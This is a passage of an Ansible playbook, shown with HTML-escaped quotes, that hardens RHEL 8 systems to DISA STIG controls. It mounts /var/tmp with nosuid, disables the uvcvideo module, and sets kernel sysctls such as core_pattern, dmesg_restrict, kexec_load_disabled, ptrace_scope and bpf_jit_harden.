      manually'
    set_fact:
      mount_info: '{{ mount_info|default({})|combine({item.0: item.1}) }}'
    with_together:
    - - target
      - source
      - fstype
      - options
    - - /var/tmp
      - ''
      - ''
      - defaults
    when:
    - ( not ( &quot;kernel&quot; in ansible_facts.packages and &quot;rpm-ostree&quot; in ansible_facts.packages
      and &quot;bootc&quot; in ansible_facts.packages and not &quot;openshift-kubelet&quot; in ansible_facts.packages
      and &quot;ostree&quot; in ansible_proc_cmdline ) and not ( ansible_virtualization_type
      in [&quot;docker&quot;, &quot;lxc&quot;, &quot;openvz&quot;, &quot;podman&quot;, &quot;container&quot;] ) )
    - '&quot;/var/tmp&quot; in ansible_mounts | map(attribute=&quot;mount&quot;) | list'
    - (&quot;--fstab&quot; | length == 0)
    - device_name.stdout is defined and device_name.stdout_lines is defined
    - (device_name.stdout | length == 0)
    tags:
    - DISA-STIG-RHEL-08-040133
    - configure_strategy
    - high_disruption
    - low_complexity
    - medium_severity
    - mount_option_var_tmp_nosuid
    - no_reboot_needed

  - name: 'Add nosuid Option to /var/tmp: Make sure nosuid option is part of the to
      /var/tmp options'
    set_fact:
      mount_info: '{{ mount_info | combine( {''options'':''''~(mount_info.options
        | default(''''))~('','' if (mount_info.options | default('''')) else '''')~''nosuid''
        }) }}'
    when:
    - ( not ( &quot;kernel&quot; in ansible_facts.packages and &quot;rpm-ostree&quot; in ansible_facts.packages
      and &quot;bootc&quot; in ansible_facts.packages and not &quot;openshift-kubelet&quot; in ansible_facts.packages
      and &quot;ostree&quot; in ansible_proc_cmdline ) and not ( ansible_virtualization_type
      in [&quot;docker&quot;, &quot;lxc&quot;, &quot;openvz&quot;, &quot;podman&quot;, &quot;container&quot;] ) )
    - '&quot;/var/tmp&quot; in ansible_mounts | map(attribute=&quot;mount&quot;) | list'
    - mount_info is defined and &quot;nosuid&quot; not in (mount_info.options | default(''))
    tags:
    - DISA-STIG-RHEL-08-040133
    - configure_strategy
    - high_disruption
    - low_complexity
    - medium_severity
    - mount_option_var_tmp_nosuid
    - no_reboot_needed

  - name: 'Add nosuid Option to /var/tmp: Ensure /var/tmp is mounted with nosuid option'
    ansible.posix.mount:
      path: /var/tmp
      src: '{{ mount_info.source | default('''') }}'
      opts: '{{ mount_info.options | default('''') }}'
      state: mounted
      fstype: '{{ mount_info.fstype | default('''') }}'
    register: mount_result
    failed_when:
    - mount_result is failed
    - '''target is busy'' not in (mount_result.msg | default(''''))'
    - '''already mounted'' not in (mount_result.msg | default(''''))'
    when:
    - ( not ( &quot;kernel&quot; in ansible_facts.packages and &quot;rpm-ostree&quot; in ansible_facts.packages
      and &quot;bootc&quot; in ansible_facts.packages and not &quot;openshift-kubelet&quot; in ansible_facts.packages
      and &quot;ostree&quot; in ansible_proc_cmdline ) and not ( ansible_virtualization_type
      in [&quot;docker&quot;, &quot;lxc&quot;, &quot;openvz&quot;, &quot;podman&quot;, &quot;container&quot;] ) )
    - '&quot;/var/tmp&quot; in ansible_mounts | map(attribute=&quot;mount&quot;) | list'
    - mount_info is defined
    - (device_name.stdout is defined and (device_name.stdout | length &gt; 0)) or (&quot;--fstab&quot;
      | length == 0)
    tags:
    - DISA-STIG-RHEL-08-040133
    - configure_strategy
    - high_disruption
    - low_complexity
    - medium_severity
    - mount_option_var_tmp_nosuid
    - no_reboot_needed

  - name: Ensure kernel module 'uvcvideo' is disabled
    ansible.builtin.lineinfile:
      create: true
      dest: /etc/modprobe.d/uvcvideo.conf
      regexp: install\s+uvcvideo
      line: install uvcvideo /bin/false
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-040020
    - NIST-800-53-CM-7 (5) (b)
    - NIST-800-53-CM-7 (a)
    - disable_strategy
    - kernel_module_uvcvideo_disabled
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required

  - name: Disable storing core dumps - Set fact for sysctl paths
    ansible.builtin.set_fact:
      sysctl_paths:
      - /etc/sysctl.d/
      - /run/sysctl.d/
      - /usr/local/lib/sysctl.d/
      - /usr/lib/sysctl.d/
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010671
    - NIST-800-53-SC-7(10)
    - PCI-DSSv4-3.3
    - PCI-DSSv4-3.3.1
    - PCI-DSSv4-3.3.1.1
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_kernel_core_pattern

  - name: Disable storing core dumps - Find all files that contain kernel.core_pattern
    ansible.builtin.shell:
      cmd: find -L {{ sysctl_paths | join(&quot; &quot;) }} -type f -name '*.conf' | xargs grep
        -HP '^\s*kernel.core_pattern\s*=\s*.*$'
    register: find_all_values
    check_mode: false
    changed_when: false
    failed_when: false
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010671
    - NIST-800-53-SC-7(10)
    - PCI-DSSv4-3.3
    - PCI-DSSv4-3.3.1
    - PCI-DSSv4-3.3.1.1
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_kernel_core_pattern

  - name: Disable storing core dumps - Find all files that set kernel.core_pattern
      to correct value
    ansible.builtin.shell:
      cmd: find -L {{ sysctl_paths | join(&quot; &quot;) }} -type f -name '*.conf' | xargs grep
        -HP '^\s*kernel.core_pattern\s*=\s*\|/bin/false$'
    register: find_correct_value
    check_mode: false
    changed_when: false
    failed_when: false
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010671
    - NIST-800-53-SC-7(10)
    - PCI-DSSv4-3.3
    - PCI-DSSv4-3.3.1
    - PCI-DSSv4-3.3.1.1
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_kernel_core_pattern

  - name: Disable storing core dumps - Comment out any occurrences of kernel.core_pattern
      from config files
    ansible.builtin.replace:
      path: '{{ item | split(&quot;:&quot;) | first }}'
      regexp: ^[\s]*kernel.core_pattern
      replace: '#kernel.core_pattern'
    loop: '{{ find_all_values.stdout_lines }}'
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - find_correct_value.stdout_lines | length == 0 or find_all_values.stdout_lines
      | length &gt; find_correct_value.stdout_lines | length
    tags:
    - DISA-STIG-RHEL-08-010671
    - NIST-800-53-SC-7(10)
    - PCI-DSSv4-3.3
    - PCI-DSSv4-3.3.1
    - PCI-DSSv4-3.3.1.1
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_kernel_core_pattern

  - name: Disable storing core dumps - Comment out any occurrences of kernel.core_pattern
      from /etc/sysctl.conf
    ansible.builtin.replace:
      path: '{{ item }}'
      regexp: ^[\s]*kernel.core_pattern
      replace: '#kernel.core_pattern'
    with_fileglob:
    - /etc/sysctl.conf
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010671
    - NIST-800-53-SC-7(10)
    - PCI-DSSv4-3.3
    - PCI-DSSv4-3.3.1
    - PCI-DSSv4-3.3.1.1
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_kernel_core_pattern

  - name: Disable storing core dumps - Ensure sysctl kernel.core_pattern is set to
      |/bin/false
    ansible.posix.sysctl:
      name: kernel.core_pattern
      value: '|/bin/false'
      sysctl_file: /etc/sysctl.d/kernel_core_pattern.conf
      state: present
      reload: true
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010671
    - NIST-800-53-SC-7(10)
    - PCI-DSSv4-3.3
    - PCI-DSSv4-3.3.1
    - PCI-DSSv4-3.3.1.1
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_kernel_core_pattern

  - name: Restrict Access to Kernel Message Buffer - Set fact for sysctl paths
    ansible.builtin.set_fact:
      sysctl_paths:
      - /etc/sysctl.d/
      - /run/sysctl.d/
      - /usr/local/lib/sysctl.d/
      - /usr/lib/sysctl.d/
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010375
    - NIST-800-171-3.1.5
    - NIST-800-53-SI-11(a)
    - NIST-800-53-SI-11(b)
    - disable_strategy
    - low_complexity
    - low_severity
    - medium_disruption
    - reboot_required
    - sysctl_kernel_dmesg_restrict

  - name: Restrict Access to Kernel Message Buffer - Find all files that contain kernel.dmesg_restrict
    ansible.builtin.shell:
      cmd: find -L {{ sysctl_paths | join(&quot; &quot;) }} -type f -name '*.conf' | xargs grep
        -HP '^\s*kernel.dmesg_restrict\s*=\s*.*$'
    register: find_all_values
    check_mode: false
    changed_when: false
    failed_when: false
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010375
    - NIST-800-171-3.1.5
    - NIST-800-53-SI-11(a)
    - NIST-800-53-SI-11(b)
    - disable_strategy
    - low_complexity
    - low_severity
    - medium_disruption
    - reboot_required
    - sysctl_kernel_dmesg_restrict

  - name: Restrict Access to Kernel Message Buffer - Find all files that set kernel.dmesg_restrict
      to correct value
    ansible.builtin.shell:
      cmd: find -L {{ sysctl_paths | join(&quot; &quot;) }} -type f -name '*.conf' | xargs grep
        -HP '^\s*kernel.dmesg_restrict\s*=\s*1$'
    register: find_correct_value
    check_mode: false
    changed_when: false
    failed_when: false
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010375
    - NIST-800-171-3.1.5
    - NIST-800-53-SI-11(a)
    - NIST-800-53-SI-11(b)
    - disable_strategy
    - low_complexity
    - low_severity
    - medium_disruption
    - reboot_required
    - sysctl_kernel_dmesg_restrict

  - name: Restrict Access to Kernel Message Buffer - Comment out any occurrences of
      kernel.dmesg_restrict from config files
    ansible.builtin.replace:
      path: '{{ item | split(&quot;:&quot;) | first }}'
      regexp: ^[\s]*kernel.dmesg_restrict
      replace: '#kernel.dmesg_restrict'
    loop: '{{ find_all_values.stdout_lines }}'
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - find_correct_value.stdout_lines | length == 0 or find_all_values.stdout_lines
      | length &gt; find_correct_value.stdout_lines | length
    tags:
    - DISA-STIG-RHEL-08-010375
    - NIST-800-171-3.1.5
    - NIST-800-53-SI-11(a)
    - NIST-800-53-SI-11(b)
    - disable_strategy
    - low_complexity
    - low_severity
    - medium_disruption
    - reboot_required
    - sysctl_kernel_dmesg_restrict

  - name: Restrict Access to Kernel Message Buffer - Comment out any occurrences of
      kernel.dmesg_restrict from /etc/sysctl.conf
    ansible.builtin.replace:
      path: '{{ item }}'
      regexp: ^[\s]*kernel.dmesg_restrict
      replace: '#kernel.dmesg_restrict'
    with_fileglob:
    - /etc/sysctl.conf
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010375
    - NIST-800-171-3.1.5
    - NIST-800-53-SI-11(a)
    - NIST-800-53-SI-11(b)
    - disable_strategy
    - low_complexity
    - low_severity
    - medium_disruption
    - reboot_required
    - sysctl_kernel_dmesg_restrict

  - name: Restrict Access to Kernel Message Buffer - Ensure sysctl kernel.dmesg_restrict
      is set to 1
    ansible.posix.sysctl:
      name: kernel.dmesg_restrict
      value: '1'
      sysctl_file: /etc/sysctl.d/kernel_dmesg_restrict.conf
      state: present
      reload: true
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010375
    - NIST-800-171-3.1.5
    - NIST-800-53-SI-11(a)
    - NIST-800-53-SI-11(b)
    - disable_strategy
    - low_complexity
    - low_severity
    - medium_disruption
    - reboot_required
    - sysctl_kernel_dmesg_restrict

  - name: Disable Kernel Image Loading - Set fact for sysctl paths
    ansible.builtin.set_fact:
      sysctl_paths:
      - /etc/sysctl.d/
      - /run/sysctl.d/
      - /usr/local/lib/sysctl.d/
      - /usr/lib/sysctl.d/
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010372
    - NIST-800-53-CM-6
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_kernel_kexec_load_disabled

  - name: Disable Kernel Image Loading - Find all files that contain kernel.kexec_load_disabled
    ansible.builtin.shell:
      cmd: find -L {{ sysctl_paths | join(&quot; &quot;) }} -type f -name '*.conf' | xargs grep
        -HP '^\s*kernel.kexec_load_disabled\s*=\s*.*$'
    register: find_all_values
    check_mode: false
    changed_when: false
    failed_when: false
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010372
    - NIST-800-53-CM-6
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_kernel_kexec_load_disabled

  - name: Disable Kernel Image Loading - Find all files that set kernel.kexec_load_disabled
      to correct value
    ansible.builtin.shell:
      cmd: find -L {{ sysctl_paths | join(&quot; &quot;) }} -type f -name '*.conf' | xargs grep
        -HP '^\s*kernel.kexec_load_disabled\s*=\s*1$'
    register: find_correct_value
    check_mode: false
    changed_when: false
    failed_when: false
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010372
    - NIST-800-53-CM-6
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_kernel_kexec_load_disabled

  - name: Disable Kernel Image Loading - Comment out any occurrences of kernel.kexec_load_disabled
      from config files
    ansible.builtin.replace:
      path: '{{ item | split(&quot;:&quot;) | first }}'
      regexp: ^[\s]*kernel.kexec_load_disabled
      replace: '#kernel.kexec_load_disabled'
    loop: '{{ find_all_values.stdout_lines }}'
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - find_correct_value.stdout_lines | length == 0 or find_all_values.stdout_lines
      | length &gt; find_correct_value.stdout_lines | length
    tags:
    - DISA-STIG-RHEL-08-010372
    - NIST-800-53-CM-6
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_kernel_kexec_load_disabled

  - name: Disable Kernel Image Loading - Comment out any occurrences of kernel.kexec_load_disabled
      from /etc/sysctl.conf
    ansible.builtin.replace:
      path: '{{ item }}'
      regexp: ^[\s]*kernel.kexec_load_disabled
      replace: '#kernel.kexec_load_disabled'
    with_fileglob:
    - /etc/sysctl.conf
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010372
    - NIST-800-53-CM-6
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_kernel_kexec_load_disabled

  - name: Disable Kernel Image Loading - Ensure sysctl kernel.kexec_load_disabled
      is set to 1
    ansible.posix.sysctl:
      name: kernel.kexec_load_disabled
      value: '1'
      sysctl_file: /etc/sysctl.d/kernel_kexec_load_disabled.conf
      state: present
      reload: true
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010372
    - NIST-800-53-CM-6
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_kernel_kexec_load_disabled

  - name: Disallow kernel profiling by unprivileged users - Set fact for sysctl paths
    ansible.builtin.set_fact:
      sysctl_paths:
      - /etc/sysctl.d/
      - /run/sysctl.d/
      - /usr/local/lib/sysctl.d/
      - /usr/lib/sysctl.d/
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010376
    - NIST-800-53-AC-6
    - disable_strategy
    - low_complexity
    - low_severity
    - medium_disruption
    - reboot_required
    - sysctl_kernel_perf_event_paranoid

  - name: Disallow kernel profiling by unprivileged users - Find all files that contain
      kernel.perf_event_paranoid
    ansible.builtin.shell:
      cmd: find -L {{ sysctl_paths | join(&quot; &quot;) }} -type f -name '*.conf' | xargs grep
        -HP '^\s*kernel.perf_event_paranoid\s*=\s*.*$'
    register: find_all_values
    check_mode: false
    changed_when: false
    failed_when: false
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010376
    - NIST-800-53-AC-6
    - disable_strategy
    - low_complexity
    - low_severity
    - medium_disruption
    - reboot_required
    - sysctl_kernel_perf_event_paranoid

  - name: Disallow kernel profiling by unprivileged users - Find all files that set
      kernel.perf_event_paranoid to correct value
    ansible.builtin.shell:
      cmd: find -L {{ sysctl_paths | join(&quot; &quot;) }} -type f -name '*.conf' | xargs grep
        -HP '^\s*kernel.perf_event_paranoid\s*=\s*2$'
    register: find_correct_value
    check_mode: false
    changed_when: false
    failed_when: false
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010376
    - NIST-800-53-AC-6
    - disable_strategy
    - low_complexity
    - low_severity
    - medium_disruption
    - reboot_required
    - sysctl_kernel_perf_event_paranoid

  - name: Disallow kernel profiling by unprivileged users - Comment out any occurrences
      of kernel.perf_event_paranoid from config files
    ansible.builtin.replace:
      path: '{{ item | split(&quot;:&quot;) | first }}'
      regexp: ^[\s]*kernel.perf_event_paranoid
      replace: '#kernel.perf_event_paranoid'
    loop: '{{ find_all_values.stdout_lines }}'
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - find_correct_value.stdout_lines | length == 0 or find_all_values.stdout_lines
      | length &gt; find_correct_value.stdout_lines | length
    tags:
    - DISA-STIG-RHEL-08-010376
    - NIST-800-53-AC-6
    - disable_strategy
    - low_complexity
    - low_severity
    - medium_disruption
    - reboot_required
    - sysctl_kernel_perf_event_paranoid

  - name: Disallow kernel profiling by unprivileged users - Comment out any occurrences
      of kernel.perf_event_paranoid from /etc/sysctl.conf
    ansible.builtin.replace:
      path: '{{ item }}'
      regexp: ^[\s]*kernel.perf_event_paranoid
      replace: '#kernel.perf_event_paranoid'
    with_fileglob:
    - /etc/sysctl.conf
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010376
    - NIST-800-53-AC-6
    - disable_strategy
    - low_complexity
    - low_severity
    - medium_disruption
    - reboot_required
    - sysctl_kernel_perf_event_paranoid

  - name: Disallow kernel profiling by unprivileged users - Ensure sysctl kernel.perf_event_paranoid
      is set to 2
    ansible.posix.sysctl:
      name: kernel.perf_event_paranoid
      value: '2'
      sysctl_file: /etc/sysctl.d/kernel_perf_event_paranoid.conf
      state: present
      reload: true
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010376
    - NIST-800-53-AC-6
    - disable_strategy
    - low_complexity
    - low_severity
    - medium_disruption
    - reboot_required
    - sysctl_kernel_perf_event_paranoid

  - name: Disable Access to Network bpf() Syscall From Unprivileged Processes - Set
      fact for sysctl paths
    ansible.builtin.set_fact:
      sysctl_paths:
      - /etc/sysctl.d/
      - /run/sysctl.d/
      - /usr/local/lib/sysctl.d/
      - /usr/lib/sysctl.d/
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-040281
    - NIST-800-53-AC-6
    - NIST-800-53-SC-7(10)
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_kernel_unprivileged_bpf_disabled

  - name: Disable Access to Network bpf() Syscall From Unprivileged Processes - Find
      all files that contain kernel.unprivileged_bpf_disabled
    ansible.builtin.shell:
      cmd: find -L {{ sysctl_paths | join(&quot; &quot;) }} -type f -name '*.conf' | xargs grep
        -HP '^\s*kernel.unprivileged_bpf_disabled\s*=\s*.*$'
    register: find_all_values
    check_mode: false
    changed_when: false
    failed_when: false
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-040281
    - NIST-800-53-AC-6
    - NIST-800-53-SC-7(10)
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_kernel_unprivileged_bpf_disabled

  - name: Disable Access to Network bpf() Syscall From Unprivileged Processes - Find
      all files that set kernel.unprivileged_bpf_disabled to correct value
    ansible.builtin.shell:
      cmd: find -L {{ sysctl_paths | join(&quot; &quot;) }} -type f -name '*.conf' | xargs grep
        -HP '^\s*kernel.unprivileged_bpf_disabled\s*=\s*1$'
    register: find_correct_value
    check_mode: false
    changed_when: false
    failed_when: false
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-040281
    - NIST-800-53-AC-6
    - NIST-800-53-SC-7(10)
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_kernel_unprivileged_bpf_disabled

  - name: Disable Access to Network bpf() Syscall From Unprivileged Processes - Comment
      out any occurrences of kernel.unprivileged_bpf_disabled from config files
    ansible.builtin.replace:
      path: '{{ item | split(&quot;:&quot;) | first }}'
      regexp: ^[\s]*kernel.unprivileged_bpf_disabled
      replace: '#kernel.unprivileged_bpf_disabled'
    loop: '{{ find_all_values.stdout_lines }}'
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - find_correct_value.stdout_lines | length == 0 or find_all_values.stdout_lines
      | length &gt; find_correct_value.stdout_lines | length
    tags:
    - DISA-STIG-RHEL-08-040281
    - NIST-800-53-AC-6
    - NIST-800-53-SC-7(10)
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_kernel_unprivileged_bpf_disabled

  - name: Disable Access to Network bpf() Syscall From Unprivileged Processes - Comment
      out any occurrences of kernel.unprivileged_bpf_disabled from /etc/sysctl.conf
    ansible.builtin.replace:
      path: '{{ item }}'
      regexp: ^[\s]*kernel.unprivileged_bpf_disabled
      replace: '#kernel.unprivileged_bpf_disabled'
    with_fileglob:
    - /etc/sysctl.conf
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-040281
    - NIST-800-53-AC-6
    - NIST-800-53-SC-7(10)
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_kernel_unprivileged_bpf_disabled

  - name: Disable Access to Network bpf() Syscall From Unprivileged Processes - Ensure
      sysctl kernel.unprivileged_bpf_disabled is set to 1
    ansible.posix.sysctl:
      name: kernel.unprivileged_bpf_disabled
      value: '1'
      sysctl_file: /etc/sysctl.d/kernel_unprivileged_bpf_disabled.conf
      state: present
      reload: true
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-040281
    - NIST-800-53-AC-6
    - NIST-800-53-SC-7(10)
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_kernel_unprivileged_bpf_disabled

  - name: Restrict usage of ptrace to descendant processes - Set fact for sysctl paths
    ansible.builtin.set_fact:
      sysctl_paths:
      - /etc/sysctl.d/
      - /run/sysctl.d/
      - /usr/local/lib/sysctl.d/
      - /usr/lib/sysctl.d/
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-040282
    - NIST-800-53-SC-7(10)
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_kernel_yama_ptrace_scope

  - name: Restrict usage of ptrace to descendant processes - Find all files that contain
      kernel.yama.ptrace_scope
    ansible.builtin.shell:
      cmd: find -L {{ sysctl_paths | join(&quot; &quot;) }} -type f -name '*.conf' | xargs grep
        -HP '^\s*kernel.yama.ptrace_scope\s*=\s*.*$'
    register: find_all_values
    check_mode: false
    changed_when: false
    failed_when: false
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-040282
    - NIST-800-53-SC-7(10)
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_kernel_yama_ptrace_scope

  - name: Restrict usage of ptrace to descendant processes - Find all files that set
      kernel.yama.ptrace_scope to correct value
    ansible.builtin.shell:
      cmd: find -L {{ sysctl_paths | join(&quot; &quot;) }} -type f -name '*.conf' | xargs grep
        -HP '^\s*kernel.yama.ptrace_scope\s*=\s*1$'
    register: find_correct_value
    check_mode: false
    changed_when: false
    failed_when: false
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-040282
    - NIST-800-53-SC-7(10)
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_kernel_yama_ptrace_scope

  - name: Restrict usage of ptrace to descendant processes - Comment out any occurrences
      of kernel.yama.ptrace_scope from config files
    ansible.builtin.replace:
      path: '{{ item | split(&quot;:&quot;) | first }}'
      regexp: ^[\s]*kernel.yama.ptrace_scope
      replace: '#kernel.yama.ptrace_scope'
    loop: '{{ find_all_values.stdout_lines }}'
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - find_correct_value.stdout_lines | length == 0 or find_all_values.stdout_lines
      | length &gt; find_correct_value.stdout_lines | length
    tags:
    - DISA-STIG-RHEL-08-040282
    - NIST-800-53-SC-7(10)
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_kernel_yama_ptrace_scope

  - name: Restrict usage of ptrace to descendant processes - Comment out any occurrences
      of kernel.yama.ptrace_scope from /etc/sysctl.conf
    ansible.builtin.replace:
      path: '{{ item }}'
      regexp: ^[\s]*kernel.yama.ptrace_scope
      replace: '#kernel.yama.ptrace_scope'
    with_fileglob:
    - /etc/sysctl.conf
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-040282
    - NIST-800-53-SC-7(10)
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_kernel_yama_ptrace_scope

  - name: Restrict usage of ptrace to descendant processes - Ensure sysctl kernel.yama.ptrace_scope
      is set to 1
    ansible.posix.sysctl:
      name: kernel.yama.ptrace_scope
      value: '1'
      sysctl_file: /etc/sysctl.d/kernel_yama_ptrace_scope.conf
      state: present
      reload: true
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-040282
    - NIST-800-53-SC-7(10)
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_kernel_yama_ptrace_scope

  - name: Harden the operation of the BPF just-in-time compiler - Set fact for sysctl
      paths
    ansible.builtin.set_fact:
      sysctl_paths:
      - /etc/sysctl.d/
      - /run/sysctl.d/
      - /usr/local/lib/sysctl.d/
      - /usr/lib/sysctl.d/
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-040286
    - NIST-800-53-CM-6
    - NIST-800-53-SC-7(10)
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_net_core_bpf_jit_harden

  - name: Harden the operation of the BPF just-in-time compiler - Find all files that
      contain net.core.bpf_jit_harden
    ansible.builtin.shell:
      cmd: find -L {{ sysctl_paths | join(&quot; &quot;) }} -type f -name '*.conf' | xargs grep
        -HP '^\s*net.core.bpf_jit_harden\s*=\s*.*$'
    register: find_all_values
    check_mode: false
    changed_when: false
    failed_when: false
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-040286
    - NIST-800-53-CM-6
    - NIST-800-53-SC-7(10)
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_net_core_bpf_jit_harden

  - name: Harden the operation of the BPF just-in-time compiler - Find all files that
      set net.core.bpf_jit_harden to correct value
    ansible.builtin.shell:
      cmd: find -L {{ sysctl_paths | join(&quot; &quot;) }} -type f -name '*.conf' | xargs grep
        -HP '^\s*net.core.bpf_jit_harden\s*=\s*2$'
    register: find_correct_value
    check_mode: false
    changed_when: false
    failed_when: false
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-040286
    - NIST-800-53-CM-6
    - NIST-800-53-SC-7(10)
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_net_core_bpf_jit_harden

  - name: Harden the operation of the BPF just-in-time compiler - Comment out any
      occurrences of net.core.bpf_jit_harden from config files
    ansible.builtin.replace:
      path: '{{ item | split(&quot;:&quot;) | first }}'
      regexp: ^[\s]*net.core.bpf_jit_harden
      replace: '#net.core.bpf_jit_harden'
    loop: '{{ find_all_values.stdout_lines }}'
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - find_correct_value.stdout_lines | length == 0 or find_all_values.stdout_lines
      | length &gt; find_correct_value.stdout_lines | length
    tags:
    - DISA-STIG-RHEL-08-040286
    - NIST-800-53-CM-6
    - NIST-800-53-SC-7(10)
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_net_core_bpf_jit_harden

  - name: Harden the operation of the BPF just-in-time compiler - Comment out any
      occurrences of net.core.bpf_jit_harden from /etc/sysctl.conf
    ansible.builtin.replace:
      path: '{{ item }}'
      regexp: ^[\s]*net.core.bpf_jit_harden
      replace: '#net.core.bpf_jit_harden'
    with_fileglob:
    - /etc/sysctl.conf
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-040286
    - NIST-800-53-CM-6
    - NIST-800-53-SC-7(10)
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_net_core_bpf_jit_harden

  - name: Harden the operation of the BPF just-in-time compiler - Ensure sysctl net.core.bpf_jit_harden
      is set to 2
    ansible.posix.sysctl:
      name: net.core.bpf_jit_harden
      value: '2'
      sysctl_file: /etc/sysctl.d/net_core_bpf_jit_harden.conf
      state: present
      reload: true
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
